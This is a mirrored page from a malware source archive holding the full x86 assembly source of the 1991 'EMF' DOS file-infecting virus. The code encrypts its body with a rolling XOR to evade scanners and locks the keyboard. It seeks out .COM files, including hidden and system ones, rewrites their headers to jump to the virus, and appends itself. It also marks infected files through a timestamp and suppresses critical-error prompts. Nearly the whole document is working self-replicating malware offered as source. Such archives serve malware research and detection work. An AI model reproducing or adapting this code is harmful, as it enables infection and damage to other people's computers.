mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
272 lines
12 KiB
NASM
272 lines
12 KiB
NASM
|
|
DATA SEGMENT
|
|
ORG 100H
|
|
DATA ENDS
|
|
|
|
; The EMF virus (c)1991 by Lazarus Long, Inc.
|
|
; The author assumes no responsibility for any damage incurred
|
|
; from the execution of this file, intentional or not
|
|
;
|
|
|
|
|
|
START:
|
|
JMP VIRUS_START
|
|
|
|
ENCRYPT_BYTE DB 00H ;Storage space for byte that ID string is
|
|
;Encrypted by
|
|
|
|
;------------------------------------------------------------------------------;
|
|
;The code from here to ENC_START is always unencrypted and SCAN would be able ;
|
|
;to find it. Maybe a quick look at V2P7 would be in order (Hint,Hint!) ;
|
|
;------------------------------------------------------------------------------;
|
|
|
|
VIRUS_START:
|
|
CALL NEXT_STEP
|
|
NEXT_STEP:
|
|
POP BP ;All actions relative to BP,
|
|
|
|
IN AL,21H ;Lock out keyboard
|
|
PUSH AX
|
|
OR AL,2
|
|
OUT 21H,AL
|
|
|
|
|
|
MOV CX,ENC_LENGTH ;Number of bytes to decrypt ;cause offsets
|
|
|
|
LEA SI,[BP+OFFSET ENC_START-NEXT_STEP] ;Offset of data to decrypt ;change in infected files
|
|
MOV DL,[103H] ;Byte to decrypt with
|
|
|
|
CALL CRYPT ;Decrypt main body of virus
|
|
CALL RESTORE_EIGHT
|
|
JMP SAVE_PSP ;Continue
|
|
|
|
INFECT:
|
|
CALL CRYPT_WRITE
|
|
MOV AH,40H
|
|
MOV DX,BP ;Starting from BP-3
|
|
SUB DX,3 ;Which,convienently,is the start
|
|
MOV CX,ENC_END-108H ;of our viral code
|
|
INT 21H ;Write all of virus
|
|
CALL CRYPT_WRITE ;Return and continue
|
|
RET
|
|
|
|
CRYPT_WRITE:
|
|
|
|
MOV CX,ENC_LENGTH ;Number of bytes to decrypt
|
|
LEA SI,[BP+ OFFSET ENC_START - NEXT_STEP] ;Address to start decryption
|
|
MOV DL,[0FBH] ;Byte to decrypt with
|
|
CALL CRYPT
|
|
RET
|
|
|
|
;******************************************************************************;
|
|
;Call this with SI equal to address to XOR,and CX number of bytes to XOR :
|
|
; ;
|
|
;******************************************************************************;
|
|
CRYPT:
|
|
XOR BYTE PTR [SI],DL ;XOR it
|
|
INC SI ;Increment XOR address
|
|
INC DL ;Change encryption key,eh?
|
|
NOT DL ;Reverse the key
|
|
LOOP CRYPT ;Until CX=0
|
|
RET ;Then return
|
|
|
|
;******************************************************************************;
|
|
; Save PSP ;
|
|
;******************************************************************************;
|
|
|
|
ENC_START EQU $
|
|
SAVE_PSP:
|
|
MOV AH,30H ;Get DOS version
|
|
INT 21H
|
|
CMP AL,2 ;Lower than 2?
|
|
JNB ABOVE_2 ;No,continue
|
|
CALL RESTORE_EIGHT
|
|
MOV SI,100H ;If so return
|
|
PUSH SI
|
|
RET 0FFFFH
|
|
|
|
ABOVE_2:
|
|
PUSH ES ;Save ES
|
|
MOV AX,3524H ;Get INT 24 address
|
|
INT 21H
|
|
MOV [BP+OLD_B-NEXT_STEP],BX ;Save it
|
|
MOV [BP+OLD_E-NEXT_STEP],ES
|
|
MOV AH,25H ;Now set it to our own code
|
|
LEA DX,[BP+NEW_24-NEXT_STEP]
|
|
INT 21H
|
|
POP ES ;Restore ES
|
|
|
|
MOV CX,128 ;Number of bytes to save
|
|
MOV SI,80H ;From 80H. ie the PSP
|
|
LEA DI,[BP+ENC_END-NEXT_STEP] ;To the end of our code
|
|
PUSH DI ;Save location so we can restore the bytes
|
|
REP MOVSB ;Mov'em
|
|
|
|
;------------------------------------------------------------------------------; ;
|
|
; Find first .COM file that is either Hidden,read-only,system,or archive ;
|
|
;------------------------------------------------------------------------------;
|
|
|
|
|
|
FIND_FIRST:
|
|
|
|
LEA DX,[BP+WILD_CARD-NEXT_STEP] ;Offset of *.COM,00
|
|
MOV CX,27H ;Find ANY file that fits *.COM
|
|
MOV AH,4EH ;Find first matching file
|
|
INT 21H
|
|
JC QUIT ;If no *.COM files found,quit
|
|
JMP SET_ATTRIBS
|
|
|
|
FIND_AGAIN:
|
|
|
|
LEA DX,[BP+WILD_CARD-NEXT_STEP] ;Offset of *.com
|
|
MOV AH,4FH ;Find next matching file
|
|
MOV CX,27H ;Archive,Hidden,Read-only,or System
|
|
INT 21H
|
|
JC QUIT ;No more files? Then exit
|
|
|
|
SET_ATTRIBS:
|
|
MOV AX,[096H] ;Get time
|
|
AND AL,1EH ;Are the seconds set to 60?
|
|
CMP AL,1EH ;
|
|
JZ FIND_AGAIN ;If so,assume this file is infected,find another
|
|
;------------------------------------------------------------------------------;
|
|
; Open file and infect it. ;
|
|
; ;
|
|
;------------------------------------------------------------------------------;
|
|
MOV DX,9EH ;offset into DTA of filename
|
|
MOV AX,4301H ;Set file attribs
|
|
XOR CX,CX ;To normal file
|
|
INT 21H
|
|
JC QUIT ;Some sort of error occured,exit now!
|
|
MOV AX,3D02H ;Code for open file with read and write
|
|
;access
|
|
INT 21H ;DX points to ASCIIZ string of filename
|
|
MOV CX,04 ;Read four bytes
|
|
MOV BX,AX ;Save handle for future use
|
|
MOV DX,0ACH ;Set buffer to end of DTA
|
|
MOV AH,3FH ;Read from file
|
|
INT 21H
|
|
JMP MAKE_HEADER
|
|
|
|
QUIT:
|
|
JMP DONE
|
|
|
|
;------------------------------------------------------------------------------;
|
|
; Infect .COM header so it jumps to our viral code ;
|
|
;------------------------------------------------------------------------------;
|
|
MAKE_HEADER:
|
|
MOV [0F9H],[9AH] ;Offset off file size in DTA
|
|
MOV [0F8H]B,0E9H ;Code for absolute JMP
|
|
SUB WORD PTR [0F9H],2 ;Adjust it just a bit
|
|
MOV AX,4200H ;Set file pointer to beginning
|
|
;of file to be infected
|
|
XOR CX,CX ;Zero out CX
|
|
XOR DX,DX ;Zero out DX
|
|
INT 21H
|
|
MOV AH,2CH ;Get time
|
|
INT 21H
|
|
ADD DL,[104H] ;And add to what we had before
|
|
MOV [0FBH],DL ;Save that value for our key
|
|
MOV AH,40H ;Write to file
|
|
MOV DX,0F8H ;Starting at F8 hex
|
|
MOV CX,04H ;Write eight bytes
|
|
INT 21H
|
|
|
|
ERROR:
|
|
JC DONE ;Some sort of error?
|
|
;If so,exit
|
|
;------------------------------------------------------------------------------;
|
|
; Attach our viral code to the end of the target .COM file ;
|
|
; ;
|
|
;------------------------------------------------------------------------------;
|
|
MOV SI,0ACH ;Starting at A9h
|
|
MOV CX,04 ;Mov eight bytes
|
|
LEA DI,[BP+ORIGINAL_EIGHT-NEXT_STEP];Where to save original eight bytes to
|
|
REP MOVSB ;Save infected files original eight bytes
|
|
MOV AX,4202H ;Set file pointer to end of file
|
|
;plus 1
|
|
XOR CX,CX ;Zero CX
|
|
MOV DX,1 ;Make DX=1
|
|
INT 21H
|
|
CALL INFECT ;Encrypt code, write it to file,
|
|
;Decrypt it,and return
|
|
;------------------------------------------------------------------------------;
|
|
; This restores the files original date and time ;
|
|
;------------------------------------------------------------------------------;
|
|
|
|
MOV AX,5701H ;Restore original date and time
|
|
MOV CX,[96H] ;From what was read in earlier
|
|
MOV DX,[98H]
|
|
AND CX,0FFE0H
|
|
OR CX,01EH ;Change seconds to 60
|
|
INT 21H
|
|
MOV AH,3EH ;Close that file
|
|
INT 21H
|
|
CALL RESTORE_ATTRIBS ;Restore it's attributes
|
|
|
|
DONE:
|
|
RESTORE_PSP:
|
|
PUSH DS ;Save the DS register
|
|
MOV DX,[BP+OLD_B-NEXT_STEP]W ;Move the old INT 24's address
|
|
MOV DS,[BP+OLD_E-NEXT_STEP]W ;so we can restore it
|
|
MOV AX,2524H ;Restore it
|
|
INT 21H
|
|
POP DS ;Restore the DS register
|
|
POP SI ;SI is equal to address we stored
|
|
;our PSP at
|
|
MOV DI,80H ;Want to move saved PSP to 80h
|
|
MOV CX,128 ;Want to move 128 bytes
|
|
REP MOVSB
|
|
MOV SI,100H ;Odd sort of jump
|
|
POP AX
|
|
PUSH SI ;Ends up restoring control to
|
|
;100h
|
|
OUT 21H,AL ;Unlock keyboard
|
|
RET 0FFFFH ;Pop off all of stack
|
|
|
|
RESTORE_EIGHT:
|
|
LEA SI,[BP+ORIGINAL_EIGHT-NEXT_STEP] ;Restore original eight bytes so we
|
|
;can RET
|
|
MOV DI,100H ;Destination of move
|
|
MOV CX,04 ;Move eight bytes
|
|
REP MOVSB
|
|
RET
|
|
|
|
RESTORE_ATTRIBS:
|
|
;------------------------------------------------------------------------------;
|
|
; This routine restores the files original attributes. ;
|
|
;------------------------------------------------------------------------------;
|
|
MOV AX,4301H ;Restore original attribs
|
|
XOR CX,CX ;Zero out CX
|
|
MOV CL,[95H] ;To what was read in earlier
|
|
MOV DX,09EH ;Offset of filename
|
|
INT 21H
|
|
RET
|
|
|
|
NEW_24:
|
|
XOR AX,AX ;Any error will simply be ignored
|
|
STC ;Most useful for write protects
|
|
IRET
|
|
|
|
|
|
|
|
OLD_E EQU $
|
|
OLD_ES DW 00 00
|
|
OLD_B EQU $
|
|
OLD_BX DW 00 00
|
|
|
|
ORIGINAL_EIGHT EQU $
|
|
OLD_EIGHT_BYTES DB ,0CDH,20H,00,00 ;Bytes that are moved
|
|
;and RET'd to
|
|
WILD_CARD EQU $
|
|
FILESPEC DB '*.COM',00
|
|
|
|
;------------------------------------------------------------------------------
|
|
;This is just some generic text. Don't be a lamer and change the text and claim
|
|
;it was your own creation.
|
|
;------------------------------------------------------------------------------
|
|
TEXT DB 'Screaming Fist (c)10/91'
|
|
ENC_END EQU $
|
|
|
|
ENC_LENGTH = ENC_END - ENC_START ;Length of code to be encrypted
|